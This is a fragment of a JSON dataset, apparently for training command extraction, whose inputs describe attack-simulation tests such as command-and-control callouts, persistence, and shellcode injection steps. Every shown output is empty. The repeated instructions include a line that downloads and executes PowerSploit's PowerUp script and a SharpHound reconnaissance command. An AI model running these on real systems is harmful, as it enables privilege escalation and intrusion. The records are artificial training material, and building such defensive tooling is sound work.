    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test simulates an infected host returning data to a command and control server using long domain names.\nThe simulation involves sending DNS queries that gradually increase in length until reaching the maximum length. The intent is to test the effectiveness of detection of DNS queries for long domain names over a set threshold.\n Upon execution, DNS information about the domain will be displayed for each callout.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    vbs files can be placed in and ran from the startup folder to maintain persistance. Upon execution, \"T1547.001 Hello, World VBS!\" will be displayed twice. \nAdditionally, the new files can be viewed in the \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\"\nfolder and will also run when the computer is restarted and the user logs in.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Schedule a system level transient task (will not survive a reboot) without having to create the .timer or .service files by using the systemd-run command. \n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Running Chrome VPN Extensions via the Registry install 2 vpn extension, please see \"T1133\\src\\list of vpn extension.txt\" to view complete list\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Changes a file or folder's permissions recursively using chmod and a specified numeric mode.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Uses the ping command to introduce a delay before executing a malicious payload.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Modify the registry of the currently logged in user using reg.exe via cmd console to remove security and maintenance icon Group Policy. \nTake note that some Group Policy changes might require a restart to take effect.\nSee how ransomware abuses this technique- https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Executes shellcode in a remote process.\n\nSteps taken with this technique\n1. Get a handle to the target process\n2. Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write\n3. Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process\n4. Change the memory page permissions to Execute/Read with VirtualProtectEx\n5. Execute the entrypoint of the shellcode in the remote process with RtlCreateUserThread\n6. Close the handle to the remote process\n\n- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode/tree/master#rtlcreateuserthread)\n- References: \n  - https://www.cobaltstrike.com/blog/cobalt-strikes-process-injection-the-details-cobalt-strike\n",
    "output": "{\"command_list\": []}"
  },
  {
